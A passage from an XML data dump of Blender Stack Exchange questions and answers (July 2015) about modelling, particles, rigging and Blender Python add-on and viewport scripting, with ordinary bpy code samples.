  <row Id="34483" PostTypeId="1" AcceptedAnswerId="34553" CreationDate="2015-07-24T15:59:16.567" Score="5" ViewCount="315" Body="&lt;p&gt;I have some objects &lt;strong&gt;- balls -&lt;/strong&gt;, I need to make them organized according to a path or a bitmap.Is this possible without using manual object moves?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to organize/align my objects (balls) so that they occupy all dark pixels of this bitmap&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wuBz5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wuBz5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15888" LastEditorUserId="15888" LastEditDate="2018-02-17T08:16:51.817" LastActivityDate="2018-02-17T08:16:51.817" Title="How to make objects aligned according to a path or bitmap?" Tags="&lt;objects&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34486" PostTypeId="1" CreationDate="2015-07-24T16:59:28.753" Score="1" ViewCount="470" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rNeaf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rNeaf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to make sure all these bones are in a single armature so I can select them all in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="15886" LastActivityDate="2015-07-24T16:59:28.753" Title="How do I move bones from one armature to another armature in the outliner?" Tags="&lt;outliner&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-07-24T17:50:27.080" ContentLicense="CC BY-SA 3.0" />
  <row Id="34487" PostTypeId="1" AcceptedAnswerId="34489" CreationDate="2015-07-24T17:39:14.573" Score="2" ViewCount="221" Body="&lt;p&gt;I'm learning how to add hair with this tutorial &lt;a href=&quot;https://www.youtube.com/watch?v=-Bo3wmQ5qLU&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=-Bo3wmQ5qLU&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed the path slowly and I got to the point of assigning density = my group of selected area almost the same way it is explained &lt;a href=&quot;https://blender.stackexchange.com/questions/6250/how-to-control-hair-particle-position&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the result I get is the opposite of what I want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K8Hya.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K8Hya.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RKsux.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RKsux.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0128c.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0128c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15891" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-07-24T17:51:25.703" Title="Vertex Groups Density working in opposite way" Tags="&lt;particles&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34488" PostTypeId="1" CreationDate="2015-07-24T17:46:06.640" Score="2" ViewCount="1670" Body="&lt;p&gt;Currently i am trying to change the viewport of the 3D View window using a python script. I am using this function &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.view3d.viewnumpad(type='TOP');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it always get this error &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;RuntimeError: Operator bpy.ops.view3d.viewnumpad.poll() failed,&#xA;  context is incorrect&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The same error is gotten when I use this function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.view3d.view_persportho();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Waht is the problem?&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="241" LastEditDate="2015-07-24T17:47:54.463" LastActivityDate="2015-07-24T20:00:38.597" Title="View3D operations problem" Tags="&lt;python&gt;&lt;scripting&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" ClosedDate="2015-07-24T19:41:23.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="34489" PostTypeId="2" ParentId="34487" CreationDate="2015-07-24T17:51:25.703" Score="4" Body="&lt;p&gt;You have clicked the inverse button , just click it again and it will go back to normal :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DTLIt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DTLIt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-07-24T17:51:25.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34490" PostTypeId="2" ParentId="34434" CreationDate="2015-07-24T18:32:45.177" Score="3" Body="&lt;p&gt;&lt;em&gt;I'd suggest write an Add-on instead of edit the python files which shipped with blender, simply because you can update Blender as you like.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it's fairly simple to append a property or a custom menu to the editor headers. Take a look into the python templates: &lt;em&gt;Text Editor &gt; Templates &gt; Python &gt; UI Menu&lt;/em&gt;. Key  is to register &lt;code&gt;bpy.types.EDITOR_TYPE.append(draw)&lt;/code&gt; and &lt;em&gt;append&lt;/em&gt; a &lt;em&gt;custom method&lt;/em&gt; to display the property. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Display a single property&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To display a property in the timeline header use: &lt;code&gt;bpy.types.TIME_HT_header.append(draw)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/f3HH0.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f3HH0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def draw_frame_rate_property(self, context):&#xA;    scene = context.scene&#xA;    layout = self.layout&#xA;&#xA;    # call the property&#xA;    layout.prop(scene.render, &quot;fps&quot;, text=&quot;FPS&quot;)&#xA;&#xA;def register():&#xA;    # lets add the menu to the timeline header via append or prepend&#xA;    bpy.types.TIME_HT_header.append(draw_frame_rate_property)&#xA;&#xA;def unregister():  &#xA;    # remove header menu&#xA;    bpy.types.INFO_HT_header.remove(draw_frame_rate_property)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Display multiple properties as menu&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For a custom &lt;strong&gt;frame rate menu in your timeline&lt;/strong&gt;, create a menu class (see the &lt;em&gt;UI Menu&lt;/em&gt; template) and call &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.types.UILayout.html#bpy.types.UILayout.menu&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;layout.menu&lt;/strong&gt;&lt;/a&gt; for reference in your &lt;em&gt;draw function&lt;/em&gt;. Following Add-on creates a new menu in the timeline header to edit all frame rate properties:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fYDGh.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fYDGh.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Set Frame Rate in Timeline&quot;,&#xA;    &quot;description&quot;: &quot;&quot;,&#xA;    &quot;author&quot;: &quot;poor&quot;,&#xA;    &quot;version&quot;: (0, 0, 1),&#xA;    &quot;blender&quot;: (2, 73, 0),&#xA;    &quot;location&quot;: &quot;Timeline &amp;gt; Header&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;Timeline&quot;&#xA;}&#xA;&#xA;import bpy&#xA;&#xA;class CustomFrameRateMenu(bpy.types.Menu):&#xA;    bl_label = &quot;Frame Rate&quot;&#xA;    bl_idname = &quot;RENDER_MT_framerate_menu&quot;&#xA;&#xA;    def draw(self, context):&#xA;        scene = context.scene&#xA;        layout = self.layout&#xA;&#xA;        #frame rate properties&#xA;        layout.prop(scene.render, &quot;fps_base&quot;, text=&quot;FPS Base&quot;)&#xA;        layout.prop(scene.render, &quot;fps&quot;, text=&quot;FPS&quot;)&#xA;        layout.menu(&quot;RENDER_MT_framerate_presets&quot;, text=&quot;Presets&quot;, icon=&quot;SCENE&quot;)&#xA;&#xA;def draw_frame_rate_menu(self, context):&#xA;    layout = self.layout&#xA;    layout.menu(CustomFrameRateMenu.bl_idname)&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;    # lets add the menu to the timeline header via append or prepend&#xA;    bpy.types.TIME_HT_header.append(draw_frame_rate_menu)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;    # remove header menu&#xA;    bpy.types.INFO_HT_header.remove(draw_frame_rate_menu)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Use &lt;code&gt;bpy.types.EDITOR_TYPE.prepend()&lt;/code&gt; to display the property before the menu: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pon73.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pon73.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further information:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/3393/add-custom-menu-at-specific-location-in-the-header&quot;&gt;Add Custom Menu at Specific Location in the Header&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_current/info_tutorial_addon.html?highlight=append#menu-item&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blender.org/api/blender_python_api_current/info_tutorial_addon.html?highlight=append#menu-item&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-12-16T00:30:24.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34491" PostTypeId="2" ParentId="34464" CreationDate="2015-07-24T19:38:20.880" Score="1" Body="&lt;p&gt;Since each of the small planes are the faces of the mesh, iterating through the polygons on the object mesh data provides access to the coordinates of the center of the face. Then using two consecutive coordinates, the distance between the centers can be calculated. This approach assumes the previous face is adjacent to the current face. Additionally, because accessing mesh data uses &lt;code&gt;bpy&lt;/code&gt;, any changes will not occur while the game engine is running.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, mathutils&#xA;&#xA;plane = bpy.data.objects[&quot;Plane&quot;]&#xA;&#xA;previous = None&#xA;&#xA;for poly in plane.data.polygons:&#xA;    center = mathutils.Vector(poly.center)&#xA;&#xA;    if previous:&#xA;        previous -= center&#xA;        #print length and center&#xA;        print(previous.length, center)&#xA;&#xA;    previous = center&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-07-24T19:38:20.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34492" PostTypeId="2" ParentId="34488" CreationDate="2015-07-24T19:39:50.230" Score="3" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == &quot;VIEW_3D&quot;:&#xA;        break&#xA;&#xA;for region in area.regions:&#xA;    if region.type == &quot;WINDOW&quot;:&#xA;        break&#xA;&#xA;space = area.spaces[0]&#xA;&#xA;context = bpy.context.copy()&#xA;context['area'] = area&#xA;context['region'] = region&#xA;context['space_data'] = space&#xA;&#xA;bpy.ops.view3d.viewnumpad(context, 'EXEC_DEFAULT', type='TOP')&#xA;bpy.ops.view3d.view_persportho(context, 'EXEC_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or without operators:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from mathutils import Quaternion&#xA;&#xA;r3d = space.region_3d&#xA;r3d.view_perspective = &quot;ORTHO&quot;&#xA;#default - look down z-axis&#xA;r3d.view_rotation = Quaternion((1.0, 0.0, 0.0, 0.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-07-24T20:00:38.597" LastActivityDate="2015-07-24T20:00:38.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34493" PostTypeId="1" CreationDate="2015-07-24T19:46:38.133" Score="1" ViewCount="113" Body="&lt;p&gt;The analytical Torrance-Sparrow BRDF model incorporates a Fresnel reflectance factor and a geometrical attenuation factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know if these effects are also considered by the Glossy BSDF material in the Cycles render engine?&lt;/p&gt;&#xA;" OwnerUserId="14481" LastActivityDate="2015-07-24T19:46:38.133" Title="Does the Glossy BSDF include Fresnel and geometrical attenuation factors?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34495" PostTypeId="2" ParentId="24147" CreationDate="2015-07-24T20:29:49.060" Score="2" Body="&lt;p&gt;If you're exporting to FBX manually from Blender, the checkbox Baked Animation will save the animation to the file. Keep in mind that you do have to select the Armature object type to export (and exclude everything else). The animations reference the armature for keyframes.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, you can do this via Python script with the command:&#xA;bpy.ops.export_scene.fbx(... use_anim=True, ....)&lt;/p&gt;&#xA;&lt;p&gt;I actually just published a blog post about exporting multiple FBX files for the purposes of importing into Unity. It's only Part 1, but I should have Part 2 written up sometime soon!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://undertheweathersoftware.com/building-character-customization-part-1&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://undertheweathersoftware.com/building-character-customization-part-1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15896" LastEditorUserId="94500" LastEditDate="2020-07-23T15:07:04.933" LastActivityDate="2020-07-23T15:07:04.933" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="34496" PostTypeId="1" AcceptedAnswerId="34499" CreationDate="2015-07-24T20:51:55.470" Score="2" ViewCount="1207" Body="&lt;p&gt;I'm looking for a good practice method of creating a triangle/jagged cylinder. My intention is to create a lamp shade with this zig-zag edges like the following. Basic stuff but I don't get it done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.shapes.info/s/cc_images/teaserbox_2450143432.png?t=1421415920&quot; rel=&quot;nofollow noreferrer&quot;&gt;example image http://www.shapes.info/s/cc_images/teaserbox_2450143432.png?t=1421415920&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I played around with circles and paths in combination with the (array) modifier(s) but didn't accomplish the desired result. I tried with the modifiers because I like the handy way to adjust the outcome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA.&lt;/p&gt;&#xA;" OwnerUserId="15893" LastActivityDate="2015-07-25T01:28:12.493" Title="How to create triangle/jagged edges on a cylinder (e.g. for a lamp shade)" Tags="&lt;geometry&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34498" PostTypeId="1" CreationDate="2015-07-24T21:09:17.953" Score="1" ViewCount="251" Body="&lt;p&gt;How do i easily convert a text curve object into separated character objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I2UHE.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I2UHE.gif&quot; alt=&quot;separate chars&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The characters should stay in place but the origin should be changed to a more convenient location, like a combination of &lt;code&gt;top/middle/bottom&lt;/code&gt; and &lt;code&gt;left, center, right&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CGHzU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CGHzU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even using python scripting this is quite difficult because after converting the information about the relations between the characters and their splines seem to be lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. the character &lt;code&gt;i&lt;/code&gt; consists of two parts and the characters &lt;code&gt;a, e&lt;/code&gt; are defined by two splines. &lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-07-24T21:09:17.953" Title="How to easily convert and breakdown a text curve object into separated character objects?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;bezier-curves&gt;&lt;conversion&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34499" PostTypeId="2" ParentId="34496" CreationDate="2015-07-24T21:17:13.750" Score="1" Body="&lt;p&gt;This is pretty straight forward. &lt;strong&gt;The advantage of this technique is it keeps the crease depth equal from top to bottom, just like a real world lamp shade.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ds1Mq.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ds1Mq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a cylinder. Choose No Caps, and set the subdivision to 64.&lt;/li&gt;&#xA;&lt;li&gt;Scale the cylinder on the Z axis (&lt;kbd&gt;S&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;) to get the correct height.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; into Edit mode, switch selection mode to Edges&lt;/li&gt;&#xA;&lt;li&gt;Select one vertical edge, then in the Select menu choose &lt;strong&gt;Select Similar&gt;Length&lt;/strong&gt; to select all the vertical edges&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;strong&gt;Checker Deselect&lt;/strong&gt; in the Select menu to deselect every other edge&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;kbd&gt;S&lt;/kbd&gt;+&lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; to scale the selected edges in towards the centre of the cylinder&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; into Object Mode and add the Simple Deform modifier&lt;/li&gt;&#xA;&lt;li&gt;Adjust the Deform Factor to a negative value to get a narrow top and wide bottom for the lampshade.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QBdz8.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QBdz8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-25T01:28:12.493" LastActivityDate="2015-07-25T01:28:12.493" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34500" PostTypeId="2" ParentId="34496" CreationDate="2015-07-24T21:29:17.373" Score="1" Body="&lt;p&gt;I'll show you the shortest path (I guess :)) of how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;em&gt;Circle&lt;/em&gt; (Add--&gt;Mesh--&gt;Circle). Click &lt;strong&gt;&lt;em&gt;Select--&gt;Checker Deselect&lt;/em&gt;&lt;/strong&gt; and set the values as pictured below.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LbJSi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LbJSi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/P8ZVD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/P8ZVD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale the selected vertices (&lt;kbd&gt;S&lt;/kbd&gt;)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/TuyZO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TuyZO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then extrude them (&lt;kbd&gt;E&lt;/kbd&gt;,&lt;kbd&gt;Z&lt;/kbd&gt;)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/g7ViK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g7ViK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale the top and bottom edges of the object to achieve the desired shape. You may also add the &lt;em&gt;Solidify Modifier&lt;/em&gt; to give the object some thickness.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Esao7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Esao7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-07-24T21:36:12.410" LastActivityDate="2015-07-24T21:36:12.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34501" PostTypeId="2" ParentId="34496" CreationDate="2015-07-24T21:40:41.920" Score="1" Body="&lt;p&gt;Enable the &lt;strong&gt;Add Mesh Extra Objects&lt;/strong&gt; Addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TFREr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TFREr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now add a star, and change the size of the top vertices.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aSmqp.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aSmqp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-07-24T21:40:41.920" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34503" PostTypeId="1" CreationDate="2015-07-24T22:08:47.260" Score="0" ViewCount="171" Body="&lt;p&gt;in BGE, I have set up a near sensor for enemy tracking, however, it won't do anything, so I'm wondering if I did something wrong, I don't know if I have to attach a file, but if I do, for this question to be answered, I have it on a filehost link already to upload it&#xA;The duplicate questions answer is not working, however I do have the exact same problem&lt;/p&gt;&#xA;" OwnerUserId="15106" LastEditorUserId="15106" LastEditDate="2015-08-02T19:18:12.523" LastActivityDate="2015-08-02T19:18:12.523" Title="How do I use near sensor in blender game engine" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-08-09T03:15:06.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="34504" PostTypeId="2" ParentId="34137" CreationDate="2015-07-24T22:51:57.527" Score="0" Body="&lt;p&gt;I store my scripts in a folder that is in my SVN repository. (i.e. .\projects\art_settings\Blender\2.7x\config) since I frequently add/modify my own Python scripts in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every new release of Blender, I go into User Preferences &gt; File &gt; Scripts and point it to that directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the config file are concerned though, that other link from the previous answer probably would be the best solution.&lt;/p&gt;&#xA;" OwnerUserId="15896" LastActivityDate="2015-07-24T22:51:57.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34505" PostTypeId="1" CreationDate="2015-07-24T23:01:46.860" Score="1" ViewCount="2000" Body="&lt;p&gt;I'm trying to create an addon for Blender.  The addon will have an operator part that builds a mesh and also a panel part that lets the user configure it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I want to do with the panel is have a drop down property that lets the user select the name of a reference object in the scene.  I found some examples showing how to add this to your panel using the layout.prop_search() method.  However, I wasn't able to find any information on how you are supposed to retrieve the value after the user sets it.  Right now I'm just trying to have my operator fetch the value the user set and print it to the console.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LOnqA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LOnqA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try, I get the message &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(&amp;lt;built-in function StringProperty&amp;gt;, {'attr': 'theChosenObject'})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, is this the best way to go about doing this?  It looks to me that I'm cluttering up Blender's object space by having my addon insert all it's 'global' variables into bpy.types.Scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Build It&quot;, &#xA;    &quot;category&quot;: &quot;Object&quot;&#xA;}&#xA;&#xA;import bpy&#xA;&#xA;class BuildItPanel(bpy.types.Panel):&#xA;    bl_label = &quot;Build It&quot;&#xA;    bl_idname = &quot;VIEW_3D_TOOLS_build_it&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    bl_category = &quot;Tools&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        scene = context.scene&#xA;&#xA;        col = layout.column(align=True)&#xA;        col.prop_search(scene, &quot;referenceMesh&quot;, scene, &quot;objects&quot;)&#xA;        col.operator(&quot;object.build_it&quot;, text=&quot;Do Build&quot;)&#xA;&#xA;class BuildItOp(bpy.types.Operator):&#xA;    bl_idname = &quot;object.build_it&quot;&#xA;    bl_label = &quot;Build It&quot;&#xA;    bl_options = {&quot;UNDO&quot;}&#xA;&#xA;    def invoke(self, context, event):&#xA;#        print(BuildItPanel.bl_category)&#xA;        print(bpy.types.Scene.referenceMesh)&#xA;        return {&quot;FINISHED&quot;}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(BuildItPanel)&#xA;    bpy.utils.register_class(BuildItOp)&#xA;    bpy.types.Scene.referenceMesh = bpy.props.StringProperty()&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(BuildItPanel)&#xA;    bpy.utils.unregister_class(BuildItOp)&#xA;    del bpy.types.Object.referenceMesh&#xA;&#xA;&#xA;&#xA;# This allows you to run the script directly from blenders text editor&#xA;# to test the addon without having to install it.&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9732" 